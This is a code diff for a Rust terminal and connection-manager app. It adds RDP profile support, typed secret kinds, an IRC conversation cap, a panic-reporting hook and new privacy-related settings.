const MAX_LINES: usize = 2000;
|
||||||
|
/// Open conversations; past this the oldest idle query is dropped, so a flood of messages from
|
||||||
|
/// unique nicks can't grow the view without bound.
|
||||||
|
const MAX_TARGETS: usize = 200;
|
||||||
const SIDEBAR_W: f32 = 230.0;
|
const SIDEBAR_W: f32 = 230.0;
|
||||||
|
|
||||||
struct Line {
|
struct Line {
|
||||||
@@ -172,6 +175,15 @@ impl IrcView {
|
|||||||
let i = match self.targets.iter().position(|t| t.name == name) {
|
let i = match self.targets.iter().position(|t| t.name == name) {
|
||||||
Some(i) => i,
|
Some(i) => i,
|
||||||
None => {
|
None => {
|
||||||
|
if self.targets.len() >= MAX_TARGETS {
|
||||||
|
// ponytail: evicts the oldest-opened idle target, not least-recently-used.
|
||||||
|
let (active, joined) = (&self.active, &self.joined);
|
||||||
|
if let Some(i) = self.targets.iter().position(|t| t.name != SERVER && t.name != *active && !joined.iter().any(|r| r.name == t.name)) {
|
||||||
|
let gone = self.targets.remove(i);
|
||||||
|
self.unread.remove(&gone.name);
|
||||||
|
self.users.remove(&gone.name);
|
||||||
|
}
|
||||||
|
}
|
||||||
self.targets.push(Target { name: name.into(), lines: VecDeque::new() });
|
self.targets.push(Target { name: name.into(), lines: VecDeque::new() });
|
||||||
self.targets.len() - 1
|
self.targets.len() - 1
|
||||||
}
|
}
|
||||||
|
|||||||
+23
-4
@@ -4,6 +4,7 @@
|
|||||||
|
|
||||||
mod app;
|
mod app;
|
||||||
mod chrome;
|
mod chrome;
|
||||||
|
mod desktop_view;
|
||||||
mod forwards;
|
mod forwards;
|
||||||
mod github_view;
|
mod github_view;
|
||||||
mod irc_view;
|
mod irc_view;
|
||||||
@@ -25,7 +26,6 @@ mod theme;
|
|||||||
mod transfer;
|
mod transfer;
|
||||||
mod triggers;
|
mod triggers;
|
||||||
mod views;
|
mod views;
|
||||||
mod vnc_view;
|
|
||||||
mod widgets;
|
mod widgets;
|
||||||
|
|
||||||
use nexus_core::config::AppConfig;
|
use nexus_core::config::AppConfig;
|
||||||
@@ -33,6 +33,16 @@ use nexus_core::service::Service;
|
|||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
|
|
||||||
fn main() -> eframe::Result {
|
fn main() -> eframe::Result {
|
||||||
|
// A panic on a worker thread (a session's reader, a transfer) ends only that thread; say so in
|
||||||
|
// the UI rather than letting the session just stop.
|
||||||
|
let default_hook = std::panic::take_hook();
|
||||||
|
std::panic::set_hook(Box::new(move |info| {
|
||||||
|
default_hook(info);
|
||||||
|
let what =
|
||||||
|
info.payload().downcast_ref::<&str>().copied().or_else(|| info.payload().downcast_ref::<String>().map(String::as_str)).unwrap_or("unknown error");
|
||||||
|
let thread = std::thread::current().name().unwrap_or("worker").to_string();
|
||||||
|
app::post_error_nonblocking(format!("Internal error in {thread} thread: {what}. Other sessions are unaffected; reconnect the affected one."));
|
||||||
|
}));
|
||||||
let mut opts = app::Options {
|
let mut opts = app::Options {
|
||||||
screenshot: None,
|
screenshot: None,
|
||||||
theme: None,
|
theme: None,
|
||||||
@@ -73,17 +83,26 @@ fn main() -> eframe::Result {
|
|||||||
}
|
}
|
||||||
_ => {
|
_ => {
|
||||||
println!(
|
println!(
|
||||||
"usage: nexus-terminal [--theme pro|midnight|light] [--data-dir DIR] [--connect NAME]... [--open WINDOW] [--do PALETTE-COMMAND]... [--answer SECRET]... [--shot-delay MS] [--run-local CMD] [--screenshot out.png] [--size WxH] [--version]"
|
"usage: nexus-terminal [--theme pro|midnight|light] [--data-dir DIR] [--connect NAME]... [--open WINDOW] [--do PALETTE-COMMAND]... [--answer SECRET]... (or NEXUS_ANSWERS=one-per-line) [--shot-delay MS] [--run-local CMD] [--screenshot out.png] [--size WxH] [--version]"
|
||||||
);
|
);
|
||||||
return Ok(());
|
return Ok(());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
// Automation answers: prefer NEXUS_ANSWERS (one per line), which stays out of the process list
|
||||||
|
// and shell history; it's removed so local shells don't inherit it.
|
||||||
|
if let Ok(v) = std::env::var("NEXUS_ANSWERS") {
|
||||||
|
opts.answers.extend(v.lines().map(String::from));
|
||||||
|
// SAFETY: still single-threaded here; no other thread can be reading the environment.
|
||||||
|
unsafe { std::env::remove_var("NEXUS_ANSWERS") };
|
||||||
|
}
|
||||||
|
if !opts.answers.is_empty() && opts.screenshot.is_none() {
|
||||||
|
eprintln!("warning: --answer/NEXUS_ANSWERS auto-fill credential prompts; they are meant for screenshot automation only");
|
||||||
|
}
|
||||||
let config = match data_dir {
|
let config = match data_dir {
|
||||||
Some(d) => {
|
Some(d) => {
|
||||||
let c = AppConfig::in_dir(d.into());
|
let c = AppConfig::in_dir(d.into());
|
||||||
std::fs::create_dir_all(&c.vault_dir).ok();
|
nexus_core::config::create_private_dir(&c.data_dir).and_then(|_| nexus_core::config::create_private_dir(&c.vault_dir)).map(|_| c)
|
||||||
Ok(c)
|
|
||||||
}
|
}
|
||||||
None => AppConfig::load(),
|
None => AppConfig::load(),
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -10,10 +10,12 @@ use egui_phosphor::regular as icon;
|
|||||||
use nexus_core::clients::serial;
|
use nexus_core::clients::serial;
|
||||||
use nexus_core::keyfiles;
|
use nexus_core::keyfiles;
|
||||||
use nexus_core::models::*;
|
use nexus_core::models::*;
|
||||||
|
use nexus_core::secrets::SecretKind;
|
||||||
use nexus_core::validation::{ValidationError, validate_profile};
|
use nexus_core::validation::{ValidationError, validate_profile};
|
||||||
|
use parking_lot::Mutex;
|
||||||
use std::collections::{BTreeMap, HashMap};
|
use std::collections::{BTreeMap, HashMap};
|
||||||
use std::path::Path;
|
use std::path::Path;
|
||||||
use std::sync::{Arc, Mutex};
|
use std::sync::Arc;
|
||||||
|
|
||||||
type KeyChecks = HashMap<String, Result<&'static str, &'static str>>;
|
type KeyChecks = HashMap<String, Result<&'static str, &'static str>>;
|
||||||
|
|
||||||
@@ -27,7 +29,7 @@ pub struct ProfileEditor {
|
|||||||
rooms: String,
|
rooms: String,
|
||||||
/// Secrets typed into the editor, by session-manager kind ("password", "github-token", …);
|
/// Secrets typed into the editor, by session-manager kind ("password", "github-token", …);
|
||||||
/// stored when the profile is saved.
|
/// stored when the profile is saved.
|
||||||
secrets: BTreeMap<&'static str, String>,
|
secrets: BTreeMap<SecretKind, String>,
|
||||||
totp: String,
|
totp: String,
|
||||||
totp_show: bool,
|
totp_show: bool,
|
||||||
totp_saved: bool,
|
totp_saved: bool,
|
||||||
@@ -154,6 +156,9 @@ impl ProfileEditor {
|
|||||||
if proto != Protocol::Vnc {
|
if proto != Protocol::Vnc {
|
||||||
p.vnc = None;
|
p.vnc = None;
|
||||||
}
|
}
|
||||||
|
if proto != Protocol::Rdp {
|
||||||
|
p.rdp = None;
|
||||||
|
}
|
||||||
if proto != Protocol::Irc {
|
if proto != Protocol::Irc {
|
||||||
p.irc = None;
|
p.irc = None;
|
||||||
}
|
}
|
||||||
@@ -184,7 +189,7 @@ impl ProfileEditor {
|
|||||||
/// Drawn inside the right dock while open.
|
/// Drawn inside the right dock while open.
|
||||||
pub fn ui(&mut self, ui: &mut Ui, s: &mut Shared) {
|
pub fn ui(&mut self, ui: &mut Ui, s: &mut Shared) {
|
||||||
let t = Tokens::get(ui.ctx());
|
let t = Tokens::get(ui.ctx());
|
||||||
if let Some(r) = self.test.lock().unwrap().take() {
|
if let Some(r) = self.test.lock().take() {
|
||||||
self.testing = false;
|
self.testing = false;
|
||||||
match r {
|
match r {
|
||||||
Ok(ms) => s.success(format!("Reachable — {ms} ms")),
|
Ok(ms) => s.success(format!("Reachable — {ms} ms")),
|
||||||
@@ -221,6 +226,7 @@ impl ProfileEditor {
|
|||||||
Protocol::Raw => self.raw(ui, &errs),
|
Protocol::Raw => self.raw(ui, &errs),
|
||||||
Protocol::Github => self.github(ui, &errs),
|
Protocol::Github => self.github(ui, &errs),
|
||||||
Protocol::Vnc => self.vnc(ui, &errs),
|
Protocol::Vnc => self.vnc(ui, &errs),
|
||||||
|
Protocol::Rdp => self.rdp(ui, &errs),
|
||||||
Protocol::Irc => self.irc(ui, &errs),
|
Protocol::Irc => self.irc(ui, &errs),
|
||||||
Protocol::Serial => self.serial(ui, &errs),
|
Protocol::Serial => self.serial(ui, &errs),
|
||||||
Protocol::Local => {}
|
Protocol::Local => {}
|
||||||
@@ -309,9 +315,9 @@ impl ProfileEditor {
|
|||||||
Ok(saved) => {
|
Ok(saved) => {
|
||||||
for (kind, v) in &self.secrets {
|
for (kind, v) in &self.secrets {
|
||||||
if !v.is_empty()
|
if !v.is_empty()
|
||||||
&& let Err(e) = s.svc.set_profile_secret(&saved.id, kind, v)
|
&& let Err(e) = s.svc.set_profile_secret(&saved.id, *kind, v)
|
||||||
{
|
{
|
||||||
s.error(format!("Couldn't store the {kind} secret: {e}"));
|
s.error(format!("Couldn't store the {} secret: {e}", kind.as_str()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
s.success(if self.is_new { "Profile created" } else { "Profile updated" });
|
s.success(if self.is_new { "Profile created" } else { "Profile updated" });
|
||||||
@@ -336,7 +342,7 @@ impl ProfileEditor {
|
|||||||
let (slot, svc, ctx) = (self.test.clone(), s.svc.clone(), s.ctx.clone());
|
let (slot, svc, ctx) = (self.test.clone(), s.svc.clone(), s.ctx.clone());
|
||||||
std::thread::spawn(move || {
|
std::thread::spawn(move || {
|
||||||
let r = svc.test_connection(&host, port).map_err(|e| e.to_string());
|
let r = svc.test_connection(&host, port).map_err(|e| e.to_string());
|
||||||
*slot.lock().unwrap() = Some(r);
|
*slot.lock() = Some(r);
|
||||||
ctx.request_repaint();
|
ctx.request_repaint();
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
@@ -386,7 +392,7 @@ impl ProfileEditor {
|
|||||||
section(ui, "Authentication", |ui| {
|
section(ui, "Authentication", |ui| {
|
||||||
mode(ui, "Password Mode", &mut c.secret_mode);
|
mode(ui, "Password Mode", &mut c.secret_mode);
|
||||||
if c.secret_mode == SecretMode::Saved {
|
if c.secret_mode == SecretMode::Saved {
|
||||||
secret(ui, "Password", secrets, "password", "Leave blank to keep the saved password");
|
secret(ui, "Password", secrets, SecretKind::Password, "Leave blank to keep the saved password");
|
||||||
}
|
}
|
||||||
label(ui, "Auth Methods");
|
label(ui, "Auth Methods");
|
||||||
ui.horizontal_wrapped(|ui| {
|
ui.horizontal_wrapped(|ui| {
|
||||||
@@ -409,7 +415,7 @@ impl ProfileEditor {
|
|||||||
widgets::hint(ui, "Select a key from your .ssh folder or type a full path");
|
widgets::hint(ui, "Select a key from your .ssh folder or type a full path");
|
||||||
mode(ui, "Passphrase Mode", &mut c.key_secret_mode);
|
mode(ui, "Passphrase Mode", &mut c.key_secret_mode);
|
||||||
if c.key_secret_mode == SecretMode::Saved {
|
if c.key_secret_mode == SecretMode::Saved {
|
||||||
secret(ui, "Passphrase", secrets, "passphrase", "Leave blank to keep the saved passphrase");
|
secret(ui, "Passphrase", secrets, SecretKind::Passphrase, "Leave blank to keep the saved passphrase");
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
section(ui, "Host Verification", |ui| {
|
section(ui, "Host Verification", |ui| {
|
||||||
@@ -526,7 +532,7 @@ impl ProfileEditor {
|
|||||||
*totp_saved = false;
|
*totp_saved = false;
|
||||||
s.info("TOTP secret removed.");
|
s.info("TOTP secret removed.");
|
||||||
} else {
|
} else {
|
||||||
match s.svc.set_profile_secret(&id, "totp", &v) {
|
match s.svc.set_profile_secret(&id, SecretKind::Totp, &v) {
|
||||||
Ok(()) => {
|
Ok(()) => {
|
||||||
totp.clear();
|
totp.clear();
|
||||||
*totp_saved = true;
|
*totp_saved = true;
|
||||||
@@ -549,8 +555,7 @@ impl ProfileEditor {
|
|||||||
text(ui, "Proxy Host", &mut c.proxy_host, "proxy.example.com");
|
text(ui, "Proxy Host", &mut c.proxy_host, "proxy.example.com");
|
||||||
num(ui, "Proxy Port", &mut c.proxy_port, 1..=65535);
|
num(ui, "Proxy Port", &mut c.proxy_port, 1..=65535);
|
||||||
text(ui, "Proxy Username", &mut c.proxy_username, "Optional");
|
text(ui, "Proxy Username", &mut c.proxy_username, "Optional");
|
||||||
label(ui, "Proxy Password");
|
secret(ui, "Proxy Password", secrets, SecretKind::ProxyPassword, "Optional; leave blank to keep the saved password");
|
||||||
ui.add(TextEdit::singleline(&mut c.proxy_password).password(true).hint_text("Optional").desired_width(f32::INFINITY));
|
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
section(ui, "Advanced", |ui| {
|
section(ui, "Advanced", |ui| {
|
||||||
@@ -626,7 +631,7 @@ impl ProfileEditor {
|
|||||||
err(ui, errs, "github.baseURL");
|
err(ui, errs, "github.baseURL");
|
||||||
mode(ui, "Token Storage", &mut c.secret_mode);
|
mode(ui, "Token Storage", &mut c.secret_mode);
|
||||||
if c.secret_mode == SecretMode::Saved {
|
if c.secret_mode == SecretMode::Saved {
|
||||||
secret(ui, "Personal Access Token", secrets, "github-token", "Leave blank to keep the saved token");
|
secret(ui, "Personal Access Token", secrets, SecretKind::GithubToken, "Leave blank to keep the saved token");
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
section(ui, "Refresh", |ui| {
|
section(ui, "Refresh", |ui| {
|
||||||
@@ -645,7 +650,7 @@ impl ProfileEditor {
|
|||||||
err(ui, errs, "vnc.vncPort");
|
err(ui, errs, "vnc.vncPort");
|
||||||
mode(ui, "Password Storage", &mut c.secret_mode);
|
mode(ui, "Password Storage", &mut c.secret_mode);
|
||||||
if c.secret_mode == SecretMode::Saved {
|
if c.secret_mode == SecretMode::Saved {
|
||||||
secret(ui, "VNC Password", secrets, "vnc-password", "Leave blank to keep the saved password");
|
secret(ui, "VNC Password", secrets, SecretKind::VncPassword, "Leave blank to keep the saved password");
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
section(ui, "Display", |ui| {
|
section(ui, "Display", |ui| {
|
||||||
@@ -677,6 +682,67 @@ impl ProfileEditor {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn rdp(&mut self, ui: &mut Ui, errs: &[ValidationError]) {
|
||||||
|
let Self { p, keys, key_checks, secrets, .. } = self;
|
||||||
|
let c = p.rdp.get_or_insert_with(RdpConfig::defaults);
|
||||||
|
section(ui, "RDP", |ui| {
|
||||||
|
text(ui, "Domain", &mut c.domain, "Optional (e.g. CORP)");
|
||||||
|
mode(ui, "Password Storage", &mut c.secret_mode);
|
||||||
|
if c.secret_mode == SecretMode::Saved {
|
||||||
|
secret(ui, "Password", secrets, SecretKind::RdpPassword, "Leave blank to keep the saved password");
|
||||||
|
}
|
||||||
|
let opts: Vec<_> = HostKeyPolicy::ALL.iter().map(|k| (*k, k.label())).collect();
|
||||||
|
combo(ui, "Certificate Policy", &mut c.host_key_policy, &opts);
|
||||||
|
check(
|
||||||
|
ui,
|
||||||
|
"Allow servers without NLA",
|
||||||
|
&mut c.allow_tls_only,
|
||||||
|
"Plain TLS logon, e.g. xrdp. Less secure: the session is set up before you authenticate.",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
section(ui, "Display", |ui| {
|
||||||
|
check(ui, "Scale to Fit", &mut c.scale_to_fit, "");
|
||||||
|
num(ui, "Width (0 = fit tab)", &mut c.width, 0..=8192);
|
||||||
|
err(ui, errs, "rdp.width");
|
||||||
|
num(ui, "Height (0 = fit tab)", &mut c.height, 0..=8192);
|
||||||
|
err(ui, errs, "rdp.height");
|
||||||
|
if c.width == 0 {
|
||||||
|
check(ui, "Resize With Tab", &mut c.dynamic_resolution, "Ask the server to match the tab's size as it changes");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
section(ui, "Proxy", |ui| {
|
||||||
|
combo_s(ui, "Proxy Type", &mut c.proxy_type, &[("none", "None (direct connection)"), ("socks5", "SOCKS5"), ("http", "HTTP CONNECT")]);
|
||||||
|
err(ui, errs, "rdp.proxyType");
|
||||||
|
if c.proxy_type != "none" {
|
||||||
|
text(ui, "Proxy Host", &mut c.proxy_host, "proxy.example.com");
|
||||||
|
err(ui, errs, "rdp.proxyHost");
|
||||||
|
num(ui, "Proxy Port", &mut c.proxy_port, 0..=65535);
|
||||||
|
text(ui, "Proxy Username", &mut c.proxy_username, "Optional");
|
||||||
|
secret(ui, "Proxy Password", secrets, SecretKind::ProxyPassword, "Optional; leave blank to keep the saved password");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
section(ui, "SSH Tunnel", |ui| {
|
||||||
|
tunnel(
|
||||||
|
ui,
|
||||||
|
"rdp",
|
||||||
|
Tunnel {
|
||||||
|
on: &mut c.ssh_tunnel,
|
||||||
|
host: &mut c.ssh_host,
|
||||||
|
port: &mut c.ssh_port,
|
||||||
|
user: &mut c.ssh_username,
|
||||||
|
auth: &mut c.ssh_auth_method,
|
||||||
|
key: &mut c.ssh_private_key,
|
||||||
|
agent: &mut c.ssh_agent_auth,
|
||||||
|
mode: &mut c.ssh_secret_mode,
|
||||||
|
},
|
||||||
|
keys,
|
||||||
|
key_checks,
|
||||||
|
secrets,
|
||||||
|
errs,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
fn irc(&mut self, ui: &mut Ui, errs: &[ValidationError]) {
|
fn irc(&mut self, ui: &mut Ui, errs: &[ValidationError]) {
|
||||||
let Self { p, keys, key_checks, secrets, rooms, .. } = self;
|
let Self { p, keys, key_checks, secrets, rooms, .. } = self;
|
||||||
let port = &mut p.port;
|
let port = &mut p.port;
|
||||||
@@ -699,7 +765,7 @@ impl ProfileEditor {
|
|||||||
if c.server_password_required {
|
if c.server_password_required {
|
||||||
mode(ui, "Server Password Storage", &mut c.server_password_mode);
|
mode(ui, "Server Password Storage", &mut c.server_password_mode);
|
||||||
if c.server_password_mode == SecretMode::Saved {
|
if c.server_password_mode == SecretMode::Saved {
|
||||||
secret(ui, "Server Password", secrets, "irc-server-password", "Leave blank to keep the saved password");
|
secret(ui, "Server Password", secrets, SecretKind::IrcServerPassword, "Leave blank to keep the saved password");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
@@ -710,7 +776,7 @@ impl ProfileEditor {
|
|||||||
err(ui, errs, "irc.nickServAccount");
|
err(ui, errs, "irc.nickServAccount");
|
||||||
mode(ui, "Password Storage", &mut c.nick_serv_mode);
|
mode(ui, "Password Storage", &mut c.nick_serv_mode);
|
||||||
if c.nick_serv_mode == SecretMode::Saved {
|
if c.nick_serv_mode == SecretMode::Saved {
|
||||||
secret(ui, "NickServ Password", secrets, "irc-nickserv-password", "Leave blank to keep the saved password");
|
secret(ui, "NickServ Password", secrets, SecretKind::IrcNickServPassword, "Leave blank to keep the saved password");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
@@ -979,7 +1045,7 @@ fn reconnect(ui: &mut Ui, on: &mut bool, tries: &mut i64) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// A password field whose value is stored in the vault/keychain under `kind` on save.
|
/// A password field whose value is stored in the vault/keychain under `kind` on save.
|
||||||
fn secret(ui: &mut Ui, l: &str, secrets: &mut BTreeMap<&'static str, String>, kind: &'static str, hint: &str) {
|
fn secret(ui: &mut Ui, l: &str, secrets: &mut BTreeMap<SecretKind, String>, kind: SecretKind, hint: &str) {
|
||||||
label(ui, l);
|
label(ui, l);
|
||||||
ui.add(TextEdit::singleline(secrets.entry(kind).or_default()).password(true).hint_text(hint).desired_width(f32::INFINITY));
|
ui.add(TextEdit::singleline(secrets.entry(kind).or_default()).password(true).hint_text(hint).desired_width(f32::INFINITY));
|
||||||
}
|
}
|
||||||
@@ -1147,7 +1213,7 @@ struct Tunnel<'a> {
|
|||||||
mode: &'a mut SecretMode,
|
mode: &'a mut SecretMode,
|
||||||
}
|
}
|
||||||
|
|
||||||
fn tunnel(ui: &mut Ui, kind: &str, c: Tunnel, keys: &[String], checks: &mut KeyChecks, secrets: &mut BTreeMap<&'static str, String>, errs: &[ValidationError]) {
|
fn tunnel(ui: &mut Ui, kind: &str, c: Tunnel, keys: &[String], checks: &mut KeyChecks, secrets: &mut BTreeMap<SecretKind, String>, errs: &[ValidationError]) {
|
||||||
check(ui, "Enable SSH Tunnel", c.on, "");
|
check(ui, "Enable SSH Tunnel", c.on, "");
|
||||||
if !*c.on {
|
if !*c.on {
|
||||||
return;
|
return;
|
||||||
@@ -1167,12 +1233,13 @@ fn tunnel(ui: &mut Ui, kind: &str, c: Tunnel, keys: &[String], checks: &mut KeyC
|
|||||||
}
|
}
|
||||||
mode(ui, "SSH Secret Storage", c.mode);
|
mode(ui, "SSH Secret Storage", c.mode);
|
||||||
if *c.mode == SecretMode::Saved {
|
if *c.mode == SecretMode::Saved {
|
||||||
// Kinds match the session manager's tunnel secrets ("vnc-ssh-password", "irc-ssh-passphrase").
|
let (l, k) = match (kind, c.auth.as_str()) {
|
||||||
let (l, k): (&str, &'static str) = match (kind, c.auth.as_str()) {
|
("vnc", "password") => ("SSH Password", SecretKind::VncSshPassword),
|
||||||
("vnc", "password") => ("SSH Password", "vnc-ssh-password"),
|
("vnc", _) => ("SSH Key Passphrase", SecretKind::VncSshPassphrase),
|
||||||
("vnc", _) => ("SSH Key Passphrase", "vnc-ssh-passphrase"),
|
("rdp", "password") => ("SSH Password", SecretKind::RdpSshPassword),
|
||||||
(_, "password") => ("SSH Password", "irc-ssh-password"),
|
("rdp", _) => ("SSH Key Passphrase", SecretKind::RdpSshPassphrase),
|
||||||
_ => ("SSH Key Passphrase", "irc-ssh-passphrase"),
|
(_, "password") => ("SSH Password", SecretKind::IrcSshPassword),
|
||||||
|
_ => ("SSH Key Passphrase", SecretKind::IrcSshPassphrase),
|
||||||
};
|
};
|
||||||
secret(ui, l, secrets, k, "Leave blank to keep the saved secret");
|
secret(ui, l, secrets, k, "Leave blank to keep the saved secret");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ use egui_phosphor::regular as icon;
|
|||||||
use nexus_core::clients::serial;
|
use nexus_core::clients::serial;
|
||||||
use nexus_core::models::{Profile, Protocol};
|
use nexus_core::models::{Profile, Protocol};
|
||||||
|
|
||||||
const PROTOCOLS: [Protocol; 5] = [Protocol::Ssh, Protocol::Telnet, Protocol::Raw, Protocol::Irc, Protocol::Serial];
|
const PROTOCOLS: [Protocol; 6] = [Protocol::Ssh, Protocol::Rdp, Protocol::Telnet, Protocol::Raw, Protocol::Irc, Protocol::Serial];
|
||||||
|
|
||||||
pub struct QuickConnect {
|
pub struct QuickConnect {
|
||||||
open: bool,
|
open: bool,
|
||||||
@@ -67,7 +67,7 @@ impl QuickConnect {
|
|||||||
if self.protocol != Protocol::Serial {
|
if self.protocol != Protocol::Serial {
|
||||||
p.port = self.port;
|
p.port = self.port;
|
||||||
}
|
}
|
||||||
if matches!(self.protocol, Protocol::Ssh | Protocol::Irc) {
|
if matches!(self.protocol, Protocol::Ssh | Protocol::Rdp | Protocol::Irc) {
|
||||||
p.username = self.username.trim().into();
|
p.username = self.username.trim().into();
|
||||||
}
|
}
|
||||||
if let Some(c) = &mut p.irc
|
if let Some(c) = &mut p.irc
|
||||||
@@ -134,7 +134,7 @@ impl QuickConnect {
|
|||||||
label(ui, "Port");
|
label(ui, "Port");
|
||||||
ui.add(DragValue::new(&mut self.port).range(1..=65535).speed(0.25));
|
ui.add(DragValue::new(&mut self.port).range(1..=65535).speed(0.25));
|
||||||
}
|
}
|
||||||
if matches!(self.protocol, Protocol::Ssh | Protocol::Irc) {
|
if matches!(self.protocol, Protocol::Ssh | Protocol::Rdp | Protocol::Irc) {
|
||||||
label(ui, "Username");
|
label(ui, "Username");
|
||||||
ui.add(TextEdit::singleline(&mut self.username).hint_text("root").desired_width(f32::INFINITY));
|
ui.add(TextEdit::singleline(&mut self.username).hint_text("root").desired_width(f32::INFINITY));
|
||||||
}
|
}
|
||||||
@@ -184,4 +184,21 @@ mod tests {
|
|||||||
let p = q.profile().unwrap();
|
let p = q.profile().unwrap();
|
||||||
assert_eq!((p.port, p.username.as_str()), (0, ""));
|
assert_eq!((p.port, p.username.as_str()), (0, ""));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn quick_profiles_pass_validation_unless_incomplete() {
|
||||||
|
use nexus_core::validation::validate_profile;
|
||||||
|
for proto in PROTOCOLS {
|
||||||
|
let mut q = QuickConnect { host: "box".into(), username: "me".into(), ..Default::default() };
|
||||||
|
q.set_protocol(proto);
|
||||||
|
let mut p = q.profile().unwrap();
|
||||||
|
p.normalize();
|
||||||
|
assert!(validate_profile(&p).is_ok(), "{proto:?}: {:?}", validate_profile(&p).err().map(|e| e.to_string()));
|
||||||
|
}
|
||||||
|
let mut q = QuickConnect { host: "box".into(), ..Default::default() };
|
||||||
|
q.set_protocol(Protocol::Ssh);
|
||||||
|
let mut p = q.profile().unwrap();
|
||||||
|
p.normalize();
|
||||||
|
assert!(validate_profile(&p).is_err(), "SSH needs a username");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -9,7 +9,8 @@ use egui::{RichText, Ui, vec2};
|
|||||||
use egui_phosphor::regular as icon;
|
use egui_phosphor::regular as icon;
|
||||||
use nexus_core::models::{AppPreferences, KnownHost, Protocol};
|
use nexus_core::models::{AppPreferences, KnownHost, Protocol};
|
||||||
use nexus_core::updater::UpdateInfo;
|
use nexus_core::updater::UpdateInfo;
|
||||||
use std::sync::{Arc, Mutex};
|
use parking_lot::Mutex;
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
/// A result from a worker thread, polled each frame (`Some` while the work is in flight).
|
/// A result from a worker thread, polled each frame (`Some` while the work is in flight).
|
||||||
pub struct Job<T>(Arc<Mutex<Option<T>>>);
|
pub struct Job<T>(Arc<Mutex<Option<T>>>);
|
||||||
@@ -20,14 +21,14 @@ impl<T: Send + 'static> Job<T> {
|
|||||||
let (out, ctx) = (slot.clone(), ctx.clone());
|
let (out, ctx) = (slot.clone(), ctx.clone());
|
||||||
std::thread::spawn(move || {
|
std::thread::spawn(move || {
|
||||||
let v = f();
|
let v = f();
|
||||||
*out.lock().unwrap() = Some(v);
|
*out.lock() = Some(v);
|
||||||
ctx.request_repaint();
|
ctx.request_repaint();
|
||||||
});
|
});
|
||||||
Job(slot)
|
Job(slot)
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn take(&self) -> Option<T> {
|
pub fn take(&self) -> Option<T> {
|
||||||
self.0.lock().unwrap().take()
|
self.0.lock().take()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -248,6 +249,15 @@ impl Settings {
|
|||||||
field(ui, "Confirm on disconnect");
|
field(ui, "Confirm on disconnect");
|
||||||
ui.checkbox(&mut p.confirm_on_disconnect, "Ask before disconnecting sessions");
|
ui.checkbox(&mut p.confirm_on_disconnect, "Ask before disconnecting sessions");
|
||||||
ui.end_row();
|
ui.end_row();
|
||||||
|
field(ui, "Remote clipboard");
|
||||||
|
ui.checkbox(&mut p.allow_remote_clipboard, "Let remote hosts set the clipboard (OSC 52, VNC)");
|
||||||
|
ui.end_row();
|
||||||
|
field(ui, "Multi-line paste");
|
||||||
|
ui.checkbox(&mut p.confirm_multiline_paste, "Ask before pasting several lines into a terminal");
|
||||||
|
ui.end_row();
|
||||||
|
field(ui, "Updates");
|
||||||
|
ui.checkbox(&mut p.check_for_updates, "Check for updates at launch");
|
||||||
|
ui.end_row();
|
||||||
field(ui, "Status bar");
|
field(ui, "Status bar");
|
||||||
ui.checkbox(&mut p.show_status_bar, "Show status bar");
|
ui.checkbox(&mut p.show_status_bar, "Show status bar");
|
||||||
ui.end_row();
|
ui.end_row();
|
||||||
@@ -509,7 +519,7 @@ impl Settings {
|
|||||||
ui.add_space(8.0);
|
ui.add_space(8.0);
|
||||||
ui.label(RichText::new("Nexus Terminal").font(theme::semibold(22.0)));
|
ui.label(RichText::new("Nexus Terminal").font(theme::semibold(22.0)));
|
||||||
ui.label(RichText::new(format!("Version {}", nexus_core::service::VERSION)).color(t.text_dim));
|
ui.label(RichText::new(format!("Version {}", nexus_core::service::VERSION)).color(t.text_dim));
|
||||||
ui.label(RichText::new("Developed by Andy Dixon - alchementary.co.uk").color(t.text_faint));
|
ui.label(RichText::new("Developed by Andy Dixon - dixon.cx/nexus").color(t.text_faint));
|
||||||
ui.add_space(8.0);
|
ui.add_space(8.0);
|
||||||
for f in [
|
for f in [
|
||||||
"SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local terminals",
|
"SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local terminals",
|
||||||
@@ -533,7 +543,7 @@ impl Settings {
|
|||||||
if widgets::button(ui, icon::DOWNLOAD_SIMPLE, "Import ~/.ssh/config").clicked() {
|
if widgets::button(ui, icon::DOWNLOAD_SIMPLE, "Import ~/.ssh/config").clicked() {
|
||||||
match s.svc.import_ssh_config(None, "SSH Config") {
|
match s.svc.import_ssh_config(None, "SSH Config") {
|
||||||
Ok(n) => {
|
Ok(n) => {
|
||||||
s.success(format!("Imported {n} host(s) from ~/.ssh/config"));
|
s.success(ssh_import_summary(n));
|
||||||
s.request(Request::ReloadProfiles);
|
s.request(Request::ReloadProfiles);
|
||||||
}
|
}
|
||||||
Err(e) => s.error(format!("SSH config import failed: {e}")),
|
Err(e) => s.error(format!("SSH config import failed: {e}")),
|
||||||
@@ -559,8 +569,11 @@ impl Settings {
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
if !info.release_url.is_empty() && widgets::button(ui, icon::ARROW_SQUARE_OUT, "View release").clicked() {
|
if widgets::is_web_url(&info.release_url)
